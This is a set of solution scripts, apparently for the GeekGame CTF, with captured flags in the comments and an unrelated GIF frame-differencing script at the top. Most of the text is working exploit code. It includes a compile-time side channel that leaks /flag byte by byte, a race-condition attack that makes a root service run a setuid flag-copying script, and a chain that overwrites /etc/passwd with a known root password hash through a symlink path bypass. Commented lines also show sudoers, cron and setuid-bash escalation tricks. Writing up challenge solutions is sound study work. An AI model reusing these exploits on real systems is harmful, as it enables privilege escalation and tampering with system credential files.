from PIL import Image, ImageChops


def process_gif_frames(gif_path, output_prefix="output_frame"):
    """
    读取一个GIF的每一帧，对第二帧开始的所有帧的每个像素，
    和第一帧相减不为0的像素设为黑，为0的像素设为白，
    结果输出成一系列PNG图片。

    Args:
        gif_path (str): 输入GIF文件的路径。
        output_prefix (str): 输出PNG文件的前缀名，例如"output_frame_0.png"。
    """
    try:
        img = Image.open(gif_path)
    except FileNotFoundError:
        print(f"错误：文件 '{gif_path}' 未找到。")
        return
    except Exception as e:
        print(f"打开GIF文件时发生错误：{e}")
        return

    first_frame = None
    frames_processed = 0

    try:
        while True:
            # 确保帧是彩色的，如果GIF是调色板模式，转换为RGBA以便像素操作
            frame = img.convert("RGBA")

            if frames_processed == 0:
                first_frame = frame
                # 可以选择保存第一帧的原始图像
                # first_frame.save(f"{output_prefix}_0_original.png")
            else:
                # 计算当前帧与第一帧的差异
                # ImageChops.difference 返回一个表示两个图像之间绝对差异的图像。
                # 差异为0的像素是黑，差异不为0的像素是彩色的。
                diff = ImageChops.difference(frame, first_frame)

                # 将差异图像转换为黑白
                # 遍历每个像素，如果RGB值之和为0（表示无差异），则设为白，否则设为黑。
                # 注意：ImageChops.difference返回的图像，如果像素完全相同，则为(0,0,0,0) (对于RGBA)，
                # 如果有差异，则会有非零值。我们将其转换为灰度图后判断。

                # 为了简化，我们直接判断每个通道是否有差异。
                # 如果所有通道的差异都为0，则代表像素相同，设为白色。
                # 否则，设为黑色。

                output_image = Image.new(
                    "1", frame.size, color=0
                )  # 创建一个新的单比特（黑白）图像，默认黑色
                pixels_diff = diff.load()
                pixels_output = output_image.load()

                width, height = frame.size
                for x in range(width):
                    for y in range(height):
                        r, g, b, a = pixels_diff[x, y]
                        if (
                            r == 0 and g == 0 and b == 0
                        ):  # 如果R, G, B都为0，则表示没有差异
                            pixels_output[x, y] = 1  # 设为白色
                        else:
                            pixels_output[x, y] = 0  # 设为黑色

                output_image_path = f"{output_prefix}_{frames_processed}.png"
                output_image.save(output_image_path)
                print(f"已保存: {output_image_path}")

            frames_processed += 1
            img.seek(img.tell() + 1)  # 移动到下一帧

    except EOFError:
        # 已处理完所有帧
        print("所有帧处理完毕。")
    except Exception as e:
        print(f"处理帧时发生错误：{e}")


# 示例用法
# 请将 'input.gif' 替换为你的GIF文件路径
process_gif_frames("signin/tutorial-signin.gif", "signin/output")

from pwn import *
from sys import argv

# context.log_level = "debug"
context.arch = "amd64"

TEMPLATE = """
#include <cstdio>

int main() {
    constexpr unsigned char data[] = {
        #embed "/flag"
        , 0
    };
    static_assert (data[%d] == %d, "1 byte check failed");
    for (size_t i = 0; i < sizeof(data); ++i) {
        putchar(data[i]);
    }
    return 0;
}
"""


def reconnect(old_conn=None):
    if old_conn is not None:
        old_conn.close()
    conn = remote("prob07.geekgame.pku.edu.cn", 10007)

    with open("TOKEN.txt", "r") as f:
        TOKEN = f.read().strip().encode()
    conn.sendlineafter(b"token:", TOKEN)
    conn.recvline_contains(b"server :)")
    conn.recvline(keepends=False)

    return conn


# flag{EScAPe_TechnIQUes_uPdatE_witH_timE}
charset = list(range(32, 127))
conn = reconnect()
counter = 0
known_flag = ""
for ind in range(0, 50):
    print(f"[*] Cracking byte index {ind}...")
    for c in charset:
        code = TEMPLATE % (ind, c) + "\nEND\n"

        # reset counter
        counter += 1
        if counter > 380:
            conn = reconnect(conn)
            counter = 0

        conn.send(code.encode())

        res = conn.recvline(keepends=False)
        if b"Compilation Failed" in res:
            # print(ind, c, res, "failed")
            conn.recvline(timeout=1)
            continue
        else:
            known_flag += chr(c)
            print(ind, c, known_flag, res, "succeeded")
            break

import os
import struct
import zlib

ENCRYPTED_FILES = [
    "flag1-2-3.f58A66B51.txt",
    "flag-is-not-stored-in-this-file.f58A66B51.zip",
]

KNOWN_PLAIN = "algo-gzip.py.orig"
KNOWN_CIPHER = "algo-gzip.f58A66B51.py"


def cyclic_xor_file(f1, f2):
    with open(f1, "rb") as fin1, open(f2, "rb") as fin2:
        data1 = fin1.read()
        data2 = fin2.read()

    print(
        f"Read {len(data1)} bytes from {f1} and {len(data2)} bytes from {f2}, diff {len(data1) - len(data2)} bytes."
    )
    key = bytes(a ^ b for a, b in zip(data1, data2))
    key_len = len(key)
    print(f"Recovered key of length {key_len} bytes.")

    def decrypt(data):
        return bytes(data[i] ^ key[i % key_len] for i in range(min(len(data), key_len)))

    decrypt.length = key_len
    decrypt.key = key
    return decrypt


decrypt = cyclic_xor_file(KNOWN_PLAIN, KNOWN_CIPHER)
for f in ENCRYPTED_FILES:
    print(f"Decrypted content of {f} (File Size: {os.stat(f).st_size - 512}):")
    decrypted_data = decrypt(open(f, "rb").read())
    print(decrypted_data)

    with open(
        os.path.join(
            "misc-ransomware/", os.path.basename(f).replace(".f58A66B51", ".recovered")
        ),
        "wb",
    ) as fout:
        fout.write(decrypted_data)

import requests
import threading
import shutil
import os
import time

def init_file():
    # soft link cannot be recognized by service hub
    # os.system(
    #     "ln -sf /tmp/FlClashCore /tmp/FlClashCore_nobody",
    # )
    shutil.copyfile("/tmp/FlClashCore", "/tmp/FlClashCore_nobody")
    os.chmod("/tmp/FlClashCore_nobody", 0o777)

    with open("/tmp/getflag", "w") as f:
        f.write(
            "#!/bin/bash\ncat /root/flag_* > /tmp/flag\nchown root /tmp/getflag\nchmod +s /tmp/getflag\n"
        )
    os.chmod("/tmp/getflag", 0o777)


def swap_file():
    while True:
        # shutil.copyfile("/tmp/getflag", "/tmp/FlClashCore_nobody")
        os.system("unlink /tmp/FlClashCore_nobody")
        os.system("cp /tmp/getflag /tmp/FlClashCore_nobody")
        # os.system(
        #     "ln -sf /tmp/getflag /tmp/FlClashCore_nobody",
        # )
        print("swapped to getflag")

        # os.system(
        #     "ln -sf /tmp/FlClashCore /tmp/FlClashCore_nobody",
        # )
        # print("swapped to FlClashCore")

        break


def start_clash():
    SERVICE_PORT = 47890
    for _ in range(3):
        print("starting clash")
        print(
            requests.post(
                f"http://localhost:{SERVICE_PORT}/start",
                json={"path": "/tmp/FlClashCore_nobody", "arg": f"{SERVICE_PORT}"},
            ).text
        )


if __name__ == "__main__":
    init_file()

    print("init file done")
    t1 = threading.Thread(target=start_clash)
    t2 = threading.Thread(target=swap_file)
    t1.start()
    time.sleep(1.2)
    t2.start()
    t1.join()
    t2.join()

# flag{s1mPLE-ToCTOu-NdAY-GogOgO}

from pwn import *
from sys import argv
import base64
import time

conn = remote("prob03.geekgame.pku.edu.cn", 10003)
with open("TOKEN.txt", "r") as f:
    token = f.read().strip()
    conn.sendlineafter(b"token:", token.encode())

malicious_json = """
{
    "rule-providers": {
        "provider-gfw": {
            "type": "http",
            "behavior": "domain",
            "url": "http://localhost:10228/shadow",
            "format": "text",
            "path": "/tmp/etc/passwd"
        }
    }
}
"""
# no sudo on remote, so no /etc/sudoers.d/nobody trick
# crontab not running on remote, /etc/cron.d/nobody trick won't work

# malicious_sudo = "nobody ALL=(ALL) NOPASSWD: ALL"
# malicious_cron = "\n".join(
#     [f"{d} * * * * root chmod +s /bin/bash && cp /flag_* /tmp/flag" for d in range(60)]
# )

# generated with: openssl passwd 1
malicious_shadow = "root:$1$5VgUvSAY$4i/Q.3vwETLGYFBmH8zWK/:0:0:root:/root:/bin/bash"

with open("web-clash/poc2_receiver.py", "rb") as f:
    receiver_code = f.read()

conn.sendlineafter(
    b"$ ",
    f"echo -n '{base64.b64encode(malicious_json.encode()).decode()}'|base64 -d > /tmp/config.json".encode(),
)
# conn.sendlineafter(
#     b"$ ",
#     f"echo -n '{base64.b64encode(malicious_cron.encode()).decode()}'|base64 -d > /tmp/cron".encode(),
# )
conn.sendlineafter(
    b"$ ",
    f"echo -n '{base64.b64encode(malicious_shadow.encode()).decode()}'|base64 -d > /tmp/shadow".encode(),
)
# bypass isSafePath with symlink. you should have used realpath
conn.sendlineafter(
    b"$ ",
    "ln -s /etc /tmp/etc".encode(),
)
conn.sendlineafter(
    b"$ ",
    f"echo -n '{base64.b64encode(receiver_code).decode()}'|base64 -d > /tmp/receiver.py".encode(),
)
conn.sendlineafter(
    b"$ ",
    "python3 /tmp/receiver.py &".encode(),
)
conn.sendlineafter(b"$ ", b"python3 -m http.server 10228 &")

time.sleep(3)
conn.sendlineafter(b"$ ", b"su\n1\n")

conn.interactive()
# flag{AlL-YOuR-CLAsH-aRE-BeloNG-To-uS}

import requests
import socket
import threading
import time
import json


SERVICE_PORT = 47890


def start_flclash(port):
    try:
        print(
            "req",
            requests.post(
                f"http://localhost:{SERVICE_PORT}/start",
                json={"path": "/tmp/FlClashCore_nobody", "arg": f"{port}"},
            ).text,
        )
    except requests.exceptions.RequestException as e:
        print(f"[!!!] Failed to start FlClashCore: {e}, maybe helper is not running?")


PREDEFINED_MESSAGES = [
    b'{"id":"1","method":"startLog","data":"test.log"}',
    b'{"id":"1","method":"initClash","data":"{\\"home-dir\\":\\"/tmp\\",\\"version\\":1}"}',
    b'{"id":"1","method":"deleteFile","data":"etc/passwd"}',
    b'{"id":"1","method":"setupConfig","data":"{}"}',
]


def handle_client(client_socket, client_address):
    """
    处理单个客户端连接的函数。
    """
    print(f"[*] Accepted connection from {client_address[0]}:{client_address[1]}")
    try:
        buffer = b""
        for i, message_to_send in enumerate(PREDEFINED_MESSAGES):
            print(
                f"[>] Sending message {i + 1} to {client_address[0]}:{client_address[1]}"
            )
            print(
                f"[DEBUG] Sending {len(message_to_send)} bytes to client. \n{message_to_send}\n"
            )
            client_socket.sendall(message_to_send + b"\n")

            # 等待接收客户端应答
            # 循环读取直到找到换行符或者连接关闭
            while True:
                data = client_socket.recv(4096)
                if not data:
                    print(
                        f"[-] Client {client_address[0]}:{client_address[1]} disconnected unexpectedly after sending message {i + 1}"
                    )
                    raise ConnectionError("Client disconnected")
                buffer += data
                if b"\n" in buffer:
                    line, buffer = buffer.split(b"\n", 1)
                    print(
                        f"[<] Received from {client_address[0]}:{client_address[1]}: {line.decode().strip()}"
                    )
                    break  # 收到一行内容，退出内层循环，进入下一轮发送
                # break

                # 如果短时间内没有收到足够数据形成一行，可以稍微等待一下
                # time.sleep(0.01)
            # 如果这是最后一个消息，可能不需要再接收响应，或者接收一个“完成”响应
            if i == len(PREDEFINED_MESSAGES) - 1:
                print(
                    f"[!] All messages sent to {client_address[0]}:{client_address[1]}. Waiting for final response."
                )
                # 这里可以再次尝试接收一个最终响应，或者直接关闭
                # 为了简化，我们只确保收到了前面每个消息的响应
                # 如果需要一个明确的最终响应，可以额外处理
        # receive rest response if any
        while True:
            data = client_socket.recv(4096)
            if not data:
                break
            buffer += data
            # if b"IP" in buffer:
            #     # we finished the job, now go
            #     break

            while b"\n" in buffer:
                line, buffer = buffer.split(b"\n", 1)
                print(
                    f"[<] Received from {client_address[0]}:{client_address[1]}: {line.decode().strip()}"
                )

    except ConnectionError:
        print(
            f"[-] Client {client_address[0]}:{client_address[1]} connection error or disconnected."
        )
    except Exception as e:
        print(f"[!] Error handling client {client_address[0]}:{client_address[1]}: {e}")

    finally:
        print(f"[*] Closing connection from {client_address[0]}:{client_address[1]}")
        client_socket.close()


def start_server(LISTEN_PORT=10229):
    """
    启动 TCP 服务器并监听连接。
    """

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(
        socket.SOL_SOCKET, socket.SO_REUSEADDR, 1
    )  # 允许端口重用 (用于快速重启)

    try:
        server.bind(("localhost", LISTEN_PORT))
        server.listen(5)  # 最多允许5个排队的连接

        print(f"[*] Listening on {'localhost'}:{LISTEN_PORT}")

        # 触发FlClashCore进程启动
        threading.Thread(target=start_flclash, args=(LISTEN_PORT,)).start()

        client_socket, addr = server.accept()
        # 为每个新连接创建一个线程来处理
        client_handler = threading.Thread(
            target=handle_client, args=(client_socket, addr)
        )
        client_handler.start()

    except Exception as e:
        print(f"[!!!] Server error: {e}")
    finally:
        print("[*] Server shutting down.")
        server.close()


if __name__ == "__main__":
    start_server()

from pwn import *

context.arch = "amd64"
os.chdir(os.path.dirname(__file__))

exe = ELF("binary-ffi")

# SMC 1550
code_1550 = exe.read(0x1550, 0x153)

print(code_1550)
patch_code_1550 = bytes(
    bytearray([b ^ ((0x42 + i) % 0x100) for i, b in enumerate(code_1550)])
)
print(disasm(patch_code_1550))

exe.write(0x1550, code_1550)
exe.save("binary-ffi-patched")

exe.write(0x1657, b"\x90\x90")

# 1d80 == flag1
init_key = b"in1T_Arr@y_1S_s0_E@sy"
local_8b8 = []
bvar = 0xB4
data_21a0 = exe.read(0x21A0, 0x2D + 1)
assert data_21a0[0] == bvar
"""
  while( true ) {
    bVar1 = (&DAT_00104030)[uVar5 % sVar3] ^ bVar1 ^ 0x3c;
    sVar4 = ((byte)uVar5 & 3) + 1;
    local_8b8[uVar5] = (bVar1 << sVar4 | bVar1 >> 8 - sVar4) ^ 0xa5;
    if (uVar5 + 1 == 0x2d) break;
    bVar1 = (&DAT_001021a1)[uVar5];
    uVar5 = uVar5 + 1;
  }
"""
for uvar in range(0x2D):
    bvar = init_key[uvar % len(init_key)] ^ bvar ^ 0x3C
    svar = (uvar & 3) + 1
    bvar = ((bvar << svar) | (bvar >> (8 - svar))) & 0xFF
    bvar ^= 0xA5
    local_8b8.append(bvar)
    # next bvar
    bvar = data_21a0[uvar + 1]

local_8b8 = bytes(local_8b8)
print(local_8b8)
# flag{in1T_aRR@Y_w1TH_sMc_@NTi_dbG_1s_S0_E@Sy}